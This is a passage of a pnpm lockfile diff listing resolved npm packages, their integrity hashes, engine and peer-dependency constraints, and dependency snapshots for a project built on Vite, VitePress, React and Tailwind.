sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [linux] + + lightningcss-win32-arm64-msvc@1.32.0: + resolution: {integrity: sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [win32] + + lightningcss-win32-x64-msvc@1.32.0: + resolution: {integrity: sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [win32] + + lightningcss@1.32.0: + resolution: {integrity: sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ==} + engines: {node: '>= 12.0.0'} + + locate-path@6.0.0: + resolution: {integrity: sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==} + engines: {node: '>=10'} + + lodash.merge@4.6.2: + resolution: {integrity: sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==} + + lru-cache@5.1.1: + resolution: {integrity: sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==} + + magic-string@0.30.21: + resolution: {integrity: sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==} + + mark.js@8.11.1: + resolution: {integrity: sha512-1I+1qpDt4idfgLQG+BNWmrqku+7/2bi5nLf4YwF8y8zXvmfiTBY3PV3ZibfrjBueCByROpuBjLLFCajqkgYoLQ==} + + math-intrinsics@1.1.0: + resolution: {integrity: sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==} + engines: {node: '>= 0.4'} + + mdast-util-to-hast@13.2.1: + resolution: {integrity: sha512-cctsq2wp5vTsLIcaymblUriiTcZd0CwWtCbLvrOzYCDZoWyMNV8sZ7krj09FSnsiJi3WVsHLM4k6Dq/yaPyCXA==} + + micromark-util-character@2.1.1: + resolution: {integrity: sha512-wv8tdUTJ3thSFFFJKtpYKOYiGP2+v96Hvk4Tu8KpCAsTMs6yi+nVmGh1syvSCsaxz45J6Jbw+9DD6g97+NV67Q==} + + micromark-util-encode@2.0.1: + resolution: {integrity: sha512-c3cVx2y4KqUnwopcO9b/SCdo2O67LwJJ/UyqGfbigahfegL9myoEFoDYZgkT7f36T0bLrM9hZTAaAyH+PCAXjw==} + + micromark-util-sanitize-uri@2.0.1: + resolution: {integrity: sha512-9N9IomZ/YuGGZZmQec1MbgxtlgougxTodVwDzzEouPKo3qFWvymFHWcnDi2vzV1ff6kas9ucW+o3yzJK9YB1AQ==} + + micromark-util-symbol@2.0.1: + resolution: {integrity: sha512-vs5t8Apaud9N28kgCrRUdEed4UJ+wWNvicHLPxCa9ENlYuAY31M0ETy5y1vA33YoNPDFTghEbnh6efaE8h4x0Q==} + + micromark-util-types@2.0.2: + resolution: {integrity: sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==} + + mime-db@1.52.0: + resolution: {integrity: sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==} + engines: {node: '>= 0.6'} + + mime-types@2.1.35: + resolution: {integrity: sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==} + engines: {node: '>= 0.6'} + + minimatch@3.1.2: + resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==} + + minisearch@7.2.0: + resolution: {integrity: sha512-dqT2XBYUOZOiC5t2HRnwADjhNS2cecp9u+TJRiJ1Qp/f5qjkeT5APcGPjHw+bz89Ms8Jp+cG4AlE+QZ/QnDglg==} + + mitt@3.0.1: + resolution: {integrity: sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==} + + ms@2.1.3: + resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} + + nanoid@3.3.11: + resolution: {integrity: sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==} + engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} + hasBin: true + + natural-compare@1.4.0: + resolution: {integrity: sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==} + + node-releases@2.0.19: + resolution: {integrity: sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==} + + node-releases@2.0.36: + resolution: {integrity: sha512-TdC8FSgHz8Mwtw9g5L4gR/Sh9XhSP/0DEkQxfEFXOpiul5IiHgHan2VhYYb6agDSfp4KuvltmGApc8HMgUrIkA==} + + oniguruma-parser@0.12.1: + resolution: {integrity: sha512-8Unqkvk1RYc6yq2WBYRj4hdnsAxVze8i7iPfQr8e4uSP3tRv0rpZcbGUDvxfQQcdwHt/e9PrMvGCsa8OqG9X3w==} + + oniguruma-to-es@4.3.4: + resolution: {integrity: sha512-3VhUGN3w2eYxnTzHn+ikMI+fp/96KoRSVK9/kMTcFqj1NRDh2IhQCKvYxDnWePKRXY/AqH+Fuiyb7VHSzBjHfA==} + + optionator@0.9.4: + resolution: {integrity: sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==} + engines: {node: '>= 0.8.0'} + + p-limit@3.1.0: + resolution: {integrity: sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==} + engines: {node: '>=10'} + + p-locate@5.0.0: + resolution: {integrity: sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==} + engines: {node: '>=10'} + + parent-module@1.0.1: + resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==} + engines: {node: '>=6'} + + path-exists@4.0.0: + resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==} + engines: {node: '>=8'} + + path-key@3.1.1: + resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==} + engines: {node: '>=8'} + + perfect-debounce@2.0.0: + resolution: {integrity: sha512-fkEH/OBiKrqqI/yIgjR92lMfs2K8105zt/VT6+7eTjNwisrsh47CeIED9z58zI7DfKdH3uHAn25ziRZn3kgAow==} + + picocolors@1.1.1: + resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} + + picomatch@4.0.2: + resolution: {integrity: sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg==} + engines: {node: '>=12'} + + picomatch@4.0.3: + resolution: {integrity: sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==} + engines: {node: '>=12'} + + postcss-value-parser@4.2.0: + resolution: {integrity: sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==} + + postcss@8.5.8: + resolution: {integrity: sha512-OW/rX8O/jXnm82Ey1k44pObPtdblfiuWnrd8X7GJ7emImCOstunGbXUpp7HdBrFQX6rJzn3sPT397Wp5aCwCHg==} + engines: {node: ^10 || ^12 || >=14} + + prelude-ls@1.2.1: + resolution: {integrity: sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==} + engines: {node: '>= 0.8.0'} + + property-information@7.1.0: + resolution: {integrity: sha512-TwEZ+X+yCJmYfL7TPUOcvBZ4QfoT5YenQiJuX//0th53DE6w0xxLEtfK3iyryQFddXuvkIk51EEgrJQ0WJkOmQ==} + + proxy-from-env@1.1.0: + resolution: {integrity: sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==} + + punycode@2.3.1: + resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==} + engines: {node: '>=6'} + + react-dom@19.1.0: + resolution: {integrity: sha512-Xs1hdnE+DyKgeHJeJznQmYMIBG3TKIHJJT95Q58nHLSrElKlGQqDTR2HQ9fx5CN/Gk6Vh/kupBTDLU11/nDk/g==} + peerDependencies: + react: ^19.1.0 + + react-refresh@0.17.0: + resolution: {integrity: sha512-z6F7K9bV85EfseRCp2bzrpyQ0Gkw1uLoCel9XBVWPg/TjRj94SkJzUTGfOa4bs7iJvBWtQG0Wq7wnI0syw3EBQ==} + engines: {node: '>=0.10.0'} + + react@19.1.0: + resolution: {integrity: sha512-FS+XFBNvn3GTAWq26joslQgWNoFu08F4kl0J4CgdNKADkdSGXQyTCnKteIAJy96Br6YbpEU1LSzV5dYtjMkMDg==} + engines: {node: '>=0.10.0'} + + regex-recursion@6.0.2: + resolution: {integrity: sha512-0YCaSCq2VRIebiaUviZNs0cBz1kg5kVS2UKUfNIx8YVs1cN3AV7NTctO5FOKBA+UT2BPJIWZauYHPqJODG50cg==} + + regex-utilities@2.3.0: + resolution: {integrity: sha512-8VhliFJAWRaUiVvREIiW2NXXTmHs4vMNnSzuJVhscgmGav3g9VDxLrQndI3dZZVVdp0ZO/5v0xmX516/7M9cng==} + + regex@6.1.0: + resolution: {integrity: sha512-6VwtthbV4o/7+OaAF9I5L5V3llLEsoPyq9P1JVXkedTP33c7MfCG0/5NOPcSJn0TzXcG9YUrR0gQSWioew3LDg==} + + resolve-from@4.0.0: + resolution: {integrity: sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==} + engines: {node: '>=4'} + + rfdc@1.4.1: + resolution: {integrity: sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==} + + rollup@4.40.0: + resolution: {integrity: sha512-Noe455xmA96nnqH5piFtLobsGbCij7Tu+tb3c1vYjNbTkfzGqXqQXG3wJaYXkRZuQ0vEYN4bhwg7QnIrqB5B+w==} + engines: {node: '>=18.0.0', npm: '>=8.0.0'} + hasBin: true + + rollup@4.53.3: + resolution: {integrity: sha512-w8GmOxZfBmKknvdXU1sdM9NHcoQejwF/4mNgj2JuEEdRaHwwF12K7e9eXn1nLZ07ad+du76mkVsyeb2rKGllsA==} + engines: {node: '>=18.0.0', npm: '>=8.0.0'} + hasBin: true + + scheduler@0.26.0: + resolution: {integrity: sha512-NlHwttCI/l5gCPR3D1nNXtWABUmBwvZpEQiD4IXSbIDq8BzLIK/7Ir5gTFSGZDUu37K5cMNp0hFtzO38sC7gWA==} + + semver@6.3.1: + resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==} + hasBin: true + + shebang-command@2.0.0: + resolution: {integrity: sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==} + engines: {node: '>=8'} + + shebang-regex@3.0.0: + resolution: {integrity: sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==} + engines: {node: '>=8'} + + shiki@3.20.0: + resolution: {integrity: sha512-kgCOlsnyWb+p0WU+01RjkCH+eBVsjL1jOwUYWv0YDWkM2/A46+LDKVs5yZCUXjJG6bj4ndFoAg5iLIIue6dulg==} + + source-map-js@1.2.1: + resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} + engines: {node: '>=0.10.0'} + + space-separated-tokens@2.0.2: + resolution: {integrity: sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==} + + speakingurl@14.0.1: + resolution: {integrity: sha512-1POYv7uv2gXoyGFpBCmpDVSNV74IfsWlDW216UPjbWufNf+bSU6GdbDsxdcxtfwb4xlI3yxzOTKClUosxARYrQ==} + engines: {node: '>=0.10.0'} + + stringify-entities@4.0.4: + resolution: {integrity: sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==} + + strip-json-comments@3.1.1: + resolution: {integrity: sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==} + engines: {node: '>=8'} + + superjson@2.2.6: + resolution: {integrity: sha512-H+ue8Zo4vJmV2nRjpx86P35lzwDT3nItnIsocgumgr0hHMQ+ZGq5vrERg9kJBo5AWGmxZDhzDo+WVIJqkB0cGA==} + engines: {node: '>=16'} + + supports-color@7.2.0: + resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} + engines: {node: '>=8'} + + tabbable@6.3.0: + resolution: {integrity: sha512-EIHvdY5bPLuWForiR/AN2Bxngzpuwn1is4asboytXtpTgsArc+WmSJKVLlhdh71u7jFcryDqB2A8lQvj78MkyQ==} + + tailwindcss@4.2.2: + resolution: {integrity: sha512-KWBIxs1Xb6NoLdMVqhbhgwZf2PGBpPEiwOqgI4pFIYbNTfBXiKYyWoTsXgBQ9WFg/OlhnvHaY+AEpW7wSmFo2Q==} + + tapable@2.3.0: + resolution: {integrity: sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg==} + engines: {node: '>=6'} + + tinyglobby@0.2.13: + resolution: {integrity: sha512-mEwzpUgrLySlveBwEVDMKk5B57bhLPYovRfPAXD5gA/98Opn0rCDj3GtLwFvCvH5RK9uPCExUROW5NjDwvqkxw==} + engines: {node: '>=12.0.0'} + + tinyglobby@0.2.15: + resolution: {integrity: sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==} + engines: {node: '>=12.0.0'} + + trim-lines@3.0.1: + resolution: {integrity: sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==} + + type-check@0.4.0: + resolution: {integrity: sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==} + engines: {node: '>= 0.8.0'} + + typescript@5.9.3: + resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} + engines: {node: '>=14.17'} + hasBin: true + + unist-util-is@6.0.1: + resolution: {integrity: sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g==} + + unist-util-position@5.0.0: + resolution: {integrity: sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==} + + unist-util-stringify-position@4.0.0: + resolution: {integrity: sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==} + + unist-util-visit-parents@6.0.2: + resolution: {integrity: sha512-goh1s1TBrqSqukSc8wrjwWhL0hiJxgA8m4kFxGlQ+8FYQ3C/m11FcTs4YYem7V664AhHVvgoQLk890Ssdsr2IQ==} + + unist-util-visit@5.0.0: + resolution: {integrity: sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg==} + + update-browserslist-db@1.1.3: + resolution: {integrity: sha512-UxhIZQ+QInVdunkDAaiazvvT/+fXL5Osr0JZlJulepYu6Jd7qJtDZjlur0emRlT71EN3ScPoE7gvsuIKKNavKw==} + hasBin: true + peerDependencies: + browserslist: '>= 4.21.0' + + update-browserslist-db@1.2.3: + resolution: {integrity: sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==} + hasBin: true + peerDependencies: + browserslist: '>= 4.21.0' + + uri-js@4.4.1: + resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==} + + vfile-message@4.0.3: + resolution: {integrity: sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw==} + + vfile@6.0.3: + resolution: {integrity: sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==} + + vite@6.3.3: + resolution: {integrity: sha512-5nXH+QsELbFKhsEfWLkHrvgRpTdGJzqOZ+utSdmPTvwHmvU6ITTm3xx+mRusihkcI8GeC7lCDyn3kDtiki9scw==} + engines: {node: ^18.0.0 || ^20.0.0 || >=22.0.0} + hasBin: true + peerDependencies: + '@types/node': ^18.0.0 || ^20.0.0 || >=22.0.0 + jiti: '>=1.21.0' + less: '*' + lightningcss: ^1.21.0 + sass: '*' + sass-embedded: '*' + stylus: '*' + sugarss: '*' + terser: ^5.16.0 + tsx: ^4.8.1 + yaml: ^2.4.2 + peerDependenciesMeta: + '@types/node': + optional: true + jiti: + optional: true + less: + optional: true + lightningcss: + optional: true + sass: + optional: true + sass-embedded: + optional: true + stylus: + optional: true + sugarss: + optional: true + terser: + optional: true + tsx: + optional: true + yaml: + optional: true + + vite@7.2.7: + resolution: {integrity: sha512-ITcnkFeR3+fI8P1wMgItjGrR10170d8auB4EpMLPqmx6uxElH3a/hHGQabSHKdqd4FXWO1nFIp9rRn7JQ34ACQ==} + engines: {node: ^20.19.0 || >=22.12.0} + hasBin: true + peerDependencies: + '@types/node': ^20.19.0 || >=22.12.0 + jiti: '>=1.21.0' + less: ^4.0.0 + lightningcss: ^1.21.0 + sass: ^1.70.0 + sass-embedded: ^1.70.0 + stylus: '>=0.54.8' + sugarss: ^5.0.0 + terser: ^5.16.0 + tsx: ^4.8.1 + yaml: ^2.4.2 + peerDependenciesMeta: + '@types/node': + optional: true + jiti: + optional: true + less: + optional: true + lightningcss: + optional: true + sass: + optional: true + sass-embedded: + optional: true + stylus: + optional: true + sugarss: + optional: true + terser: + optional: true + tsx: + optional: true + yaml: + optional: true + + vitepress@2.0.0-alpha.15: + resolution: {integrity: sha512-jhjSYd10Z6RZiKOa7jy0xMVf5NB5oSc/lS3bD/QoUc6V8PrvQR5JhC9104NEt6+oTGY/ftieVWxY9v7YI+1IjA==} + hasBin: true + peerDependencies: + markdown-it-mathjax3: ^4 + oxc-minify: '*' + postcss: ^8 + peerDependenciesMeta: + markdown-it-mathjax3: + optional: true + oxc-minify: + optional: true + postcss: + optional: true + + vue@3.5.25: + resolution: {integrity: sha512-YLVdgv2K13WJ6n+kD5owehKtEXwdwXuj2TTyJMsO7pSeKw2bfRNZGjhB7YzrpbMYj5b5QsUebHpOqR3R3ziy/g==} + peerDependencies: + typescript: '*' + peerDependenciesMeta: + typescript: + optional: true + + which@2.0.2: + resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==} + engines: {node: '>= 8'} + hasBin: true + + word-wrap@1.2.5: + resolution: {integrity: sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==} + engines: {node: '>=0.10.0'} + + yallist@3.1.1: + resolution: {integrity: sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==} + + yocto-queue@0.1.0: + resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==} + engines: {node: '>=10'} + + zwitch@2.0.4: + resolution: {integrity: sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==} + +snapshots: + + '@alloc/quick-lru@5.2.0': {} + + '@ampproject/remapping@2.3.0': + dependencies: + '@jridgewell/gen-mapping': 0.3.8 + '@jridgewell/trace-mapping': 0.3.25 + + '@babel/code-frame@7.26.2': + dependencies: + '@babel/helper-validator-identifier': 7.25.9 + js-tokens: 4.0.0 + picocolors: 1.1.1 + + '@babel/compat-data@7.26.8': {} + + '@babel/core@7.26.10': + dependencies: + '@ampproject/remapping': 2.3.0 + '@babel/code-frame': 7.26.2 + '@babel/generator': 7.27.0 + '@babel/helper-compilation-targets': 7.27.0 + '@babel/helper-module-transforms': 7.26.0(@babel/core@7.26.10) + '@babel/helpers': 7.27.0 + '@babel/parser': 7.27.0 + '@babel/template': 7.27.0 + '@babel/traverse': 7.27.0 + '@babel/types': 7.27.0 + convert-source-map: 2.0.0 + debug: 4.4.0 + gensync: 1.0.0-beta.2 + json5: 2.2.3 + semver: 6.3.1 + transitivePeerDependencies: + - supports-color + + '@babel/generator@7.27.0': + dependencies: + '@babel/parser': 7.27.0 + '@babel/types': 7.27.0 + '@jridgewell/gen-mapping': 0.3.8 + '@jridgewell/trace-mapping': 0.3.25 + jsesc: 3.1.0 + + '@babel/helper-compilation-targets@7.27.0': + dependencies: + '@babel/compat-data': 7.26.8 + '@babel/helper-validator-option': 7.25.9 + browserslist: 4.24.4 + lru-cache: 5.1.1 + semver: 6.3.1 + + '@babel/helper-module-imports@7.25.9': + dependencies: + '@babel/traverse': 7.27.0 + '@babel/types': 7.27.0 + transitivePeerDependencies: + - supports-color + + '@babel/helper-module-transforms@7.26.0(@babel/core@7.26.10)': + dependencies: + '@babel/core': 7.26.10 + '@babel/helper-module-imports': 7.25.9 + '@babel/helper-validator-identifier': 7.25.9 + '@babel/traverse': 7.27.0 + transitivePeerDependencies: + - supports-color + + '@babel/helper-plugin-utils@7.26.5': {} + + '@babel/helper-string-parser@7.25.9': {} + + '@babel/helper-string-parser@7.27.1': {} + + '@babel/helper-validator-identifier@7.25.9': {} + + '@babel/helper-validator-identifier@7.28.5': {} + + '@babel/helper-validator-option@7.25.9': {} + + '@babel/helpers@7.27.0': + dependencies: + '@babel/template': 7.27.0 + '@babel/types': 7.27.0 + + '@babel/parser@7.27.0': + dependencies: + '@babel/types': 7.27.0 + + '@babel/parser@7.28.5': + dependencies: + '@babel/types': 7.28.5 + + '@babel/plugin-transform-react-jsx-self@7.25.9(@babel/core@7.26.10)': + dependencies: + '@babel/core': 7.26.10 + '@babel/helper-plugin-utils': 7.26.5 + + '@babel/plugin-transform-react-jsx-source@7.25.9(@babel/core@7.26.10)': + dependencies: + '@babel/core': 7.26.10 + '@babel/helper-plugin-utils': 7.26.5 + + '@babel/template@7.27.0': + dependencies: + '@babel/code-frame': 7.26.2 + '@babel/parser': 7.27.0 + '@babel/types': 7.27.0 + + '@babel/traverse@7.27.0': + dependencies: + '@babel/code-frame': 7.26.2 + '@babel/generator': 7.27.0 + '@babel/parser': 7.27.0 + '@babel/template': 7.27.0 + '@babel/types': 7.27.0 + debug: 4.4.0 + globals: 11.12.0 + transitivePeerDependencies: + - supports-color + + '@babel/types@7.27.0': + dependencies: + '@babel/helper-string-parser': 7.25.9 + '@babel/helper-validator-identifier': 7.25.9 + + '@babel/types@7.28.5': + dependencies: + '@babel/helper-string-parser': 7.27.1 + '@babel/helper-validator-identifier': 7.28.5 + + '@docsearch/css@4.3.2': {} + + '@docsearch/js@4.3.2': + dependencies: + htm: 3.1.1 + + '@esbuild/aix-ppc64@0.25.3': + optional: true + + '@esbuild/android-arm64@0.25.3': + optional: true + + '@esbuild/android-arm@0.25.3': + optional: true + + '@esbuild/android-x64@0.25.3': + optional: true + + '@esbuild/darwin-arm64@0.25.3': + optional: true + + '@esbuild/darwin-x64@0.25.3': + optional: true + + '@esbuild/freebsd-arm64@0.25.3': + optional: true + + '@esbuild/freebsd-x64@0.25.3': + optional: true + + '@esbuild/linux-arm64@0.25.3': + optional: true + + '@esbuild/linux-arm@0.25.3': + optional: true + + '@esbuild/linux-ia32@0.25.3': + optional: true + + '@esbuild/linux-loong64@0.25.3': + optional: true + + '@esbuild/linux-mips64el@0.25.3': + optional: true + + '@esbuild/linux-ppc64@0.25.3': + optional: true + + '@esbuild/linux-riscv64@0.25.3': + optional: true + + '@esbuild/linux-s390x@0.25.3': + optional: true + + '@esbuild/linux-x64@0.25.3': + optional: true + + '@esbuild/netbsd-arm64@0.25.3': + optional: true + + '@esbuild/netbsd-x64@0.25.3': + optional: true + + '@esbuild/openbsd-arm64@0.25.3': + optional: true + + '@esbuild/openbsd-x64@0.25.3': + optional: true + + '@esbuild/sunos-x64@0.25.3': + optional: true + + '@esbuild/win32-arm64@0.25.3': + optional: true + + '@esbuild/win32-ia32@0.25.3': + optional: true + + '@esbuild/win32-x64@0.25.3': + optional: true + + '@eslint-community/eslint-utils@4.6.1(eslint@9.25.1(jiti@2.6.1))': + dependencies: + eslint: 9.25.1(jiti@2.6.1) + eslint-visitor-keys: 3.4.3 + + '@eslint-community/regexpp@4.12.1': {} + + '@eslint/config-array@0.20.0': + dependencies: + '@eslint/object-schema': 2.1.6 + debug: 4.4.0 + minimatch: 3.1.2 + transitivePeerDependencies: + - supports-color + + '@eslint/config-helpers@0.2.1': {} + + '@eslint/core@0.13.0': + dependencies: + '@types/json-schema': 7.0.15 + + '@eslint/eslintrc@3.3.1': + dependencies: + ajv: 6.12.6 + debug: 4.4.0 + espree: 10.3.0 + globals: 14.0.0 + ignore: 5.3.2 + import-fresh: 3.3.1 + js-yaml: 4.1.0 + minimatch: 3.1.2 + strip-json-comments: 3.1.1 + transitivePeerDependencies: + - supports-color + + '@eslint/js@9.25.1': {} + + '@eslint/object-schema@2.1.6': {} + + '@eslint/plugin-kit@0.2.8': + dependencies: + '@eslint/core': 0.13.0 + levn: 0.4.1 + + 